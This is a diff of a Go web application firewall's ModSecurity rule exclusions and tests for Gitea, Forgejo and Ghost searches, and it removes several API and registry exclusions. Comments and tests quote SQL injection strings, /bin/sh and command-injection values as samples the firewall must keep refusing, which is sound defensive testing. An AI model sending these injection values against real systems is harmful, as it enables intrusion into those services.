-// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
-// the others: each keeps its rules on another path, and when the query has
-// a field of the same name.
-func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
-	t.Parallel()
-
-	const (
-		bio          = `{"users":[{"bio":"python3"}]}`
-		comment      = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
-		content      = `{"content":"python3"}`
-		altText      = `{"image":{"altText":"python3"}}`
-		accountBio   = `{"bio":"python3"}`
-		invited      = `{"invites":[{"email":"python3.dev@example.com"}]}`
-		accepted     = `{"invitation":[{"email":"python3.dev@example.com"}]}`
-		sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
-		actorURI     = `{"actorUri":"https://example.com/users/powershell"}`
-		targetHandle = `{"targetHandle":"@powershell@example.com"}`
-		domain       = `{"domain":"python3.example.com"}`
-		tagCode      = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
-		tagURL       = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
-	)
-
-	for _, refused := range []struct{ target, body string }{
-		{"/api/users/1/", bio},
-		{ghostMember, bio},
-		{ghostUser + "?json.users.0.bio=x", bio},
-		{ghostPosts, comment},
-		{ghostComments + "?json.comments.0.html=x", comment},
-		{ghostAccount, content},
-		{ghostNote + "?json.content=x", content},
-		{ghostAccount, altText},
-		{ghostNote + "?json.image.altText=x", altText},
-		{ghostNote, accountBio},
-		{ghostAccount + "?json.bio=x", accountBio},
-		{ghostPosts, invited},
-		{ghostInvites + "?json.invites.0.email=x", invited},
-		{ghostInvites, accepted},
-		{ghostInvitation + "?json.invitation.0.email=x", accepted},
-		{ghostMigration, sourceHandle},
-		{ghostAliases + "?json.sourceHandle=x", sourceHandle},
-		{ghostMigration, actorURI},
-		{ghostAliases + "?json.actorUri=x", actorURI},
-		{ghostAliases, targetHandle},
-		{ghostMigration + "?json.targetHandle=x", targetHandle},
-		{ghostAccount, domain},
-		{ghostDomain + "?json.domain=x", domain},
-		{ghostPosts, tagCode},
-		{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
-		{ghostPosts, tagURL},
-		{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
-	} {
-		r := request{http.MethodPut, refused.target, []string{jsonBody}}
-
-		got, _ := inspectBody(t, readingBodies(t), r, refused.body)
-		if got.Score < ghostThreshold {
-			t.Errorf("PUT %s %s let through: %+v", refused.target,
-				refused.body, got)
-		}
-	}
-}
-
 func TestGhostPasswordsPass(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/gitea.conf

@@ -172,13 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
 
 # A branch, tag or package name can hold a slash, as feat/docker-support and
 # npm's @scope/name do. So q on a repository's branches, tags and packages
-# pages, on an owner's packages page, on the admin page of packages, on the
+# pages, on an owner's packages page and on the admin page of packages also
-# API's search of packages and on the Composer and Conan registries' searches
+# skips this rule:
-# also skips this rule:
 #   932160: /bin/sh
 SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
-    admin/packages|api/v1/packages/[^/]+|\
+    admin/packages)$" \
-    api/packages/[^/]+/(?:composer/search\.json|conan/v[12]/conans/search))$" \
     "id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
 
 # gitea's other searches send a name or a few words in q too, which skips only
@@ -190,11 +188,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
 # The searches:
 #   - the dashboard's filter of repositories;
 #   - the author filter of the issue and pull request lists;
-#   - the lists of users and organisations;
+#   - the lists of users and organisations, and the API's search for users;
-#   - the API's searches of users, of topics, of an organisation's teams and of
-#     emails;
-#   - the searches of the Cargo, Chef, Composer and Conan registries, and the
-#     NuGet registry's search service;
 #   - the list of repositories a user watches;
 #   - an organisation's milestones of one team, and its search for teams;
 #   - the milestones of a repository or an organisation, and the projects of a
@@ -211,11 +205,7 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
 # versions holds the package's name, which can hold a slash, as npm's
 # @scope/name does.
 SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
-    explore/(?:users|organizations)|\
+    explore/(?:users|organizations)|api/v1/users/search|\
-    api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
-    admin/emails/search)|\
-    api/packages/[^/]+/(?:cargo/api/v1/crates|chef/api/v1/(?:search|cookbooks)|\
-    composer/search\.json|conan/v[12]/conans/search|nuget/query)|\
     org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
     [^/]+/-/packages/[^/]+/.+/versions|\
     [^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
@@ -229,99 +219,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
     ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q"
 
-# Two of the API's searches send their words in a field other than q, which
-# skips these rules there:
-#   930120: .htaccess
-#   932120: powershell
-#   932250: ls -la
-#   932260: python3, alice/python3-app
-# The search of unadopted repositories sends an owner and a name, such as
-# alice/python3-app, in query.
-SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
-    "id:900607,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:query,\
-    ctl:ruleRemoveTargetById=932120;ARGS:query,\
-    ctl:ruleRemoveTargetById=932250;ARGS:query,\
-    ctl:ruleRemoveTargetById=932260;ARGS:query"
-
-# The search of a repository's milestones sends a milestone's name in name.
-SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
-    "id:900608,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:name,\
-    ctl:ruleRemoveTargetById=932120;ARGS:name,\
-    ctl:ruleRemoveTargetById=932250;ARGS:name,\
-    ctl:ruleRemoveTargetById=932260;ARGS:name"
-
-# The npm registry's search sends its words in text, which skips these rules
-# there:
-#   930120: .htaccess
-#   932120: powershell
-#   932160: /bin/sh, as an npm name such as @alice/tools-cli holds a slash
-#   932250: ls -la
-#   932260: python3
-SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/npm/-/v1/search$" \
-    "id:900609,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:text,\
-    ctl:ruleRemoveTargetById=932120;ARGS:text,\
-    ctl:ruleRemoveTargetById=932160;ARGS:text,\
-    ctl:ruleRemoveTargetById=932250;ARGS:text,\
-    ctl:ruleRemoveTargetById=932260;ARGS:text"
-
-# A Conan search takes a pattern such as zlib/*, which the rule for SQL
-# injection (942100) refused in q. q skips that rule only when the request has
-# one q, in the query string or the body, with the shape of a Conan reference.
-# A reference is a name, then optionally / and a version, then optionally @
-# and a user, then optionally / and a channel. Each part is made of letters,
-# digits, _, ., - and *. A part holds no +, since 942100 reads + as a space.
-# q must also hold no */, which ends an SQL comment, and no --, which starts
-# one. Last, 942100 must find no SQL injection in q once each comment that /*
-# starts, an unclosed one included, is replaced by a space. So zlib/* passes,
-# and SQL injection such as these stays refused:
-#   1' OR '1'='1
-#   1/**/or/**/1
-#   1/*@*/or-1
-#   1+or+1--
-#   1-or-1--
-#   x/1.or.1
-#   1.having.1
-# This rule is in phase 2, because a phase 1 rule runs before the body is read
-# and cannot see a q there. It checks tx.app_gitea, since the skip above does
-# not reach phase 2.
-SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/conan/v[12]/conans/search$" \
-    "id:900611,phase:2,pass,nolog,chain"
-    SecRule &TX:app_gitea "@eq 1" "chain"
-    SecRule &ARGS:q "@eq 1" "chain"
-    SecRule ARGS:q "!@contains */" "chain"
-    SecRule ARGS:q "!@contains --" "chain"
-    SecRule ARGS:q "!@detectSQLi" "t:none,t:replaceComments,chain"
-    SecRule ARGS:q "@rx ^[\w.*-]+(?:/[\w.*-]+)?(?:@[\w.*-]+(?:/[\w.*-]+)?)?$" \
-        "ctl:ruleRemoveTargetById=942100;ARGS:q"
-
-# The NuGet v2 API's searches, Search() and Packages(), send their words in
-# searchTerm, or in $filter as an expression such as
-# tolower(Id) eq 'python3'. Search()/$count and Packages()/$count count a
-# search's results and read the same fields. searchTerm skips these rules:
-#   930120: .htaccess
-#   932120: powershell
-#   932250: ls -la
-#   932260: python3
-# $filter skips these:
-#   930120: .htaccess
-#   932120: powershell
-# The names $filter, $orderby and $top skip the rule for MongoDB operators
-# (942290), which refused every such search.
-SecRule REQUEST_FILENAME "@rx ^/api/packages/[^/]+/nuget/(?:Search|Packages)\(\)(?:/\$count)?$" \
-    "id:900612,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930120;ARGS:searchTerm,\
-    ctl:ruleRemoveTargetById=932120;ARGS:searchTerm,\
-    ctl:ruleRemoveTargetById=932250;ARGS:searchTerm,\
-    ctl:ruleRemoveTargetById=932260;ARGS:searchTerm,\
-    ctl:ruleRemoveTargetById=930120;ARGS:$filter,\
-    ctl:ruleRemoveTargetById=932120;ARGS:$filter,\
-    ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$filter,\
-    ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$orderby,\
-    ctl:ruleRemoveTargetById=942290;ARGS_NAMES:$top"
-
 # The repositories on a user's or an organisation's page are searched with q
 # too. Their path has one segment, so q skips these rules on every path of one
 # segment, other apps' pages such as /index.php included:

internal/coreruleset/gitea_test.go

@@ -3,7 +3,6 @@ package coreruleset_test
 import (
 	"net/http"
 	"slices"
-	"strings"
 	"testing"
 
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -183,7 +182,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
 		}
 	}
 
-	attacks := []string{binSh, commandInjection, pathTraversal}
+	attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
 
 	// /bin/sh, a shell command after a ";", a path traversal and the hard
 	// values stay refused in q on paths near the searches, and in another
@@ -249,253 +248,3 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
 		}
 	}
 }
-
-// giteaAPISearches are the API's searches that gitea and Forgejo share whose
-// field skips the lists of system files and command names. Each ends in the
-// field it sends its words in.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var giteaAPISearches = []string{
-	"/api/v1/users/search?q=",
-	"/api/v1/topics/search?q=",
-	"/api/v1/orgs/acme/teams/search?q=",
-	"/api/v1/admin/emails/search?q=",
-	"/api/v1/admin/unadopted?query=",
-	"/api/v1/repos/alice/tools/milestones?name=",
-}
-
-// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
-// also lets /bin/sh through, since a package name can hold a slash.
-const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
-
-func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
-	t.Parallel()
-
-	checkSearchesRefuseAttacks(
-		t,
-		giteaAPISearches,
-		[]string{giteaAPIPackageSearch},
-	)
-}
-
-// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
-// script injection and a shell command stay refused in the field of each
-// search, in the query string and in a form data body. Each search ends in
-// its field. /bin/sh stays refused too in the field of each of
-// refusingBinSh, but not of lettingBinSh.
-func checkSearchesRefuseAttacks(
-	t *testing.T, refusingBinSh, lettingBinSh []string,
-) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
-
-	defaults, bodies := atDefaults(t), readingBodies(t)
-
-	for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
-		path, field, _ := strings.Cut(search, "?")
-
-		for _, attack := range []string{
-			sqlInjection, pathTraversal, scriptInjection, commandInjection,
-		} {
-			if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
-				t.Errorf("GET %s%s let through: %+v", search, attack, got)
-			}
-
-			// The same field in a form data body.
-			r := request{http.MethodPost, path, []string{formData}}
-			if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
-				t.Errorf(
-					"POST %s %s%s let through: %+v",
-					path,
-					field,
-					attack,
-					got,
-				)
-			}
-		}
-	}
-
-	for _, search := range refusingBinSh {
-		if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
-			t.Errorf("%s%s let through: %+v", search, binSh, got)
-		}
-	}
-}
-
-func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
-	t.Parallel()
-
-	// Each search's field on paths near the searches, and another field on
-	// them.
-	checkValuesStayRefused(t, []string{
-		"/api/v1/topics/search/x?q=",
-		"/api/v1/orgs/acme/teams?q=",
-		"/api/v1/orgs/acme/teams/search/x?q=",
-		"/api/v1/admin/emails?q=",
-		"/api/v1/admin/unadopted/alice/legacy-site?query=",
-		"/api/v1/admin/users?query=",
-		"/api/v1/repos/alice/tools/milestones/1?name=",
-		"/api/v1/repos/alice/tools/labels?name=",
-		"/api/v1/packages/alice/generic/tools-cli?q=",
-		"/api/v1/topics/search?other=",
-		"/api/v1/orgs/acme/teams/search?other=",
-		"/api/v1/admin/emails/search?other=",
-		"/api/v1/admin/unadopted?q=",
-		"/api/v1/repos/alice/tools/milestones?q=",
-		"/api/v1/packages/alice?other=",
-	})
-}
-
-// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
-// path traversal and the hard values stay refused at the end of each target.
-func checkValuesStayRefused(t *testing.T, targets []string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
-
-	crs := atDefaults(t)
-
-	for _, target := range targets {
-		for _, value := range slices.Concat(
-			[]string{binSh, commandInjection, pathTraversal},
-			hardValues,
-		) {
-			if got := inspect(t, crs, get(target+value)); got.Score < threshold {
-				t.Errorf("%s%s let through: %+v", target, value, got)
-			}
-		}
-	}
-}
-
-// giteaRegistrySearches are the package registries' searches whose field
-// skips the lists of system files and command names. Each ends in the field
-// it sends its words in.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var giteaRegistrySearches = []string{
-	"/api/packages/alice/cargo/api/v1/crates?q=",
-	"/api/packages/alice/chef/api/v1/search?q=",
-	"/api/packages/alice/chef/api/v1/cookbooks?q=",
-	"/api/packages/alice/nuget/query?q=",
-	"/api/packages/alice/nuget/Search()?searchTerm=",
-	"/api/packages/alice/nuget/Packages()?$filter=",
-	"/api/packages/alice/nuget/Search()/$count?searchTerm=",
-	"/api/packages/alice/nuget/Packages()/$count?$filter=",
-}
-
-// giteaRegistrySearchesLettingBinSh are the package registries' searches
-// whose field also lets /bin/sh through, since a Composer, Conan or npm name
-// can hold a slash.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var giteaRegistrySearchesLettingBinSh = []string{
-	"/api/packages/alice/composer/search.json?q=",
-	"/api/packages/alice/conan/v1/conans/search?q=",
-	"/api/packages/alice/conan/v2/conans/search?q=",
-	"/api/packages/alice/npm/-/v1/search?text=",
-}
-
-func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
-	t.Parallel()
-
-	checkSearchesRefuseAttacks(
-		t,
-		giteaRegistrySearches,
-		giteaRegistrySearchesLettingBinSh,
-	)
-}
-
-func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
-	t.Parallel()
-
-	// Each search's field on paths near the searches, and another field on
-	// them.
-	checkValuesStayRefused(t, []string{
-		"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
-		"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
-		"/api/packages/alice/composer/packages.json?q=",
-		"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
-		"/api/packages/alice/nuget/query/x?q=",
-		"/api/packages/alice/nuget/FindPackagesById()?id=",
-		"/api/packages/alice/nuget/FindPackagesById()/$count?id=",
-		"/api/packages/alice/nuget/Search()/$count/x?searchTerm=",
-		"/api/packages/alice/npm/tools-cli?text=",
-		"/api/packages/alice/cargo/api/v1/crates?other=",
-		"/api/packages/alice/chef/api/v1/search?other=",
-		"/api/packages/alice/composer/search.json?type=",
-		"/api/packages/alice/conan/v2/conans/search?other=",
-		"/api/packages/alice/nuget/query?other=",
-		"/api/packages/alice/nuget/Search()?targetFramework=",
-		"/api/packages/alice/nuget/Packages()?$orderby=",
-		"/api/packages/alice/nuget/Search()/$count?targetFramework=",
-		"/api/packages/alice/nuget/Packages()/$count?$orderby=",
-		"/api/packages/alice/npm/-/v1/search?q=",
-	})
-
-	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
-
-	crs := atDefaults(t)
-
-	// The rule for MongoDB operators (942290) still refuses the name of
-	// another operator on NuGet's searches, and $filter on NuGet's other
-	// paths. The rule for SQL injection (942100) still refuses tools/* in a
-	// field other than a Conan search's, SQL injection in a second q after a
-	// Conan pattern, SQL comments or dots that stand in for spaces, and SQL
-	// injection holding + or --.
-	for _, target := range []string{
-		"/api/packages/alice/nuget/Search()?$where=1",
-		"/api/packages/alice/nuget/Packages()?$ne=1",
-		"/api/packages/alice/nuget/Search()/$count?$where=1",
-		"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
-		"/api/packages/alice/nuget/FindPackagesById()/$count?$filter=IsLatestVersion",
-		"/api/packages/alice/composer/search.json?q=tools%2F%2A",
-		"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
-		"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
-			sqlInjection,
-		"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%2A%2For%2F%2A%2A%2F1",
-		"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%40%2A%2For-1",
-		"/api/packages/alice/conan/v2/conans/search?q=1%2Bor%2B1--",
-		"/api/packages/alice/conan/v2/conans/search?q=1-or-1--",
-		"/api/packages/alice/conan/v2/conans/search?q=x%2F1.or.1",
-		"/api/packages/alice/conan/v2/conans/search?q=x%2F1.and.1",
-		"/api/packages/alice/conan/v2/conans/search?q=1.having.1",
-	} {
-		if got := inspect(t, crs, get(target)); got.Score < threshold {
-			t.Errorf("%s let through: %+v", target, got)
-		}
-	}
-
-	// SQL injection in a q in the body is refused, even after a Conan
-	// pattern in the query string.
-	search := request{
-		http.MethodPost,
-		"/api/packages/alice/conan/v2/conans/search?q=zlib",
-		[]string{formData},
-	}
-
-	body := "q=" + sqlInjection
-	if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
-		t.Errorf("POST %s %s let through: %+v", search.target, body, got)
-	}
-
-	// So is SQL injection with dots for spaces, in a q sent only in the body.
-	search.target = "/api/packages/alice/conan/v2/conans/search"
-
-	body = "q=x%2F1.or.1"
-	if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
-		t.Errorf("POST %s %s let through: %+v", search.target, body, got)
-	}
-
-	// The rule that lets a Conan pattern through is in phase 2, where it
-	// checks tx.app_gitea itself: a hostname that does not serve gitea
-	// refuses the pattern.
-	pattern := get(
-		"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A",
-	)
-	apps := servingApps(t, map[string][]string{
-		giteaHost: {gitea}, otherHost: {wordpress},
-	})
-	wantResult(t, apps, withHost(pattern, giteaHost), coreruleset.Result{})
-	wantResult(t, apps, withHost(pattern, otherHost), matched(942100))
-}

internal/coreruleset/mediawiki_test.go

@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
-		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {mediawiki},
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
-		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {mediawiki},

internal/coreruleset/nextcloud_test.go

@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
-		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {nextcloud},

internal/coreruleset/recorded_test.go

@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
 		defaults := servingApps(t, apps)
 		bodies := shared(t, coreruleset.Params{
 			ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
-			BodyInspectionSize: bodyInspectionSize, Apps: apps,
+			BodyInspectionSize: bodyLimit, Apps: apps,
 		})
 
 		for _, recorded := range requests {

internal/coreruleset/testdata/forgejo-requests.txt

@@ -974,163 +974,3 @@
 {"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
 {"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
-# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
-# 17.0.1. Each searches for words that name commands and files, such as python3
-# and .htaccess, and for plain words. A package name can hold a slash, as npm's
-# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
-# search of unadopted repositories takes an owner and a name.
-{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
-{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
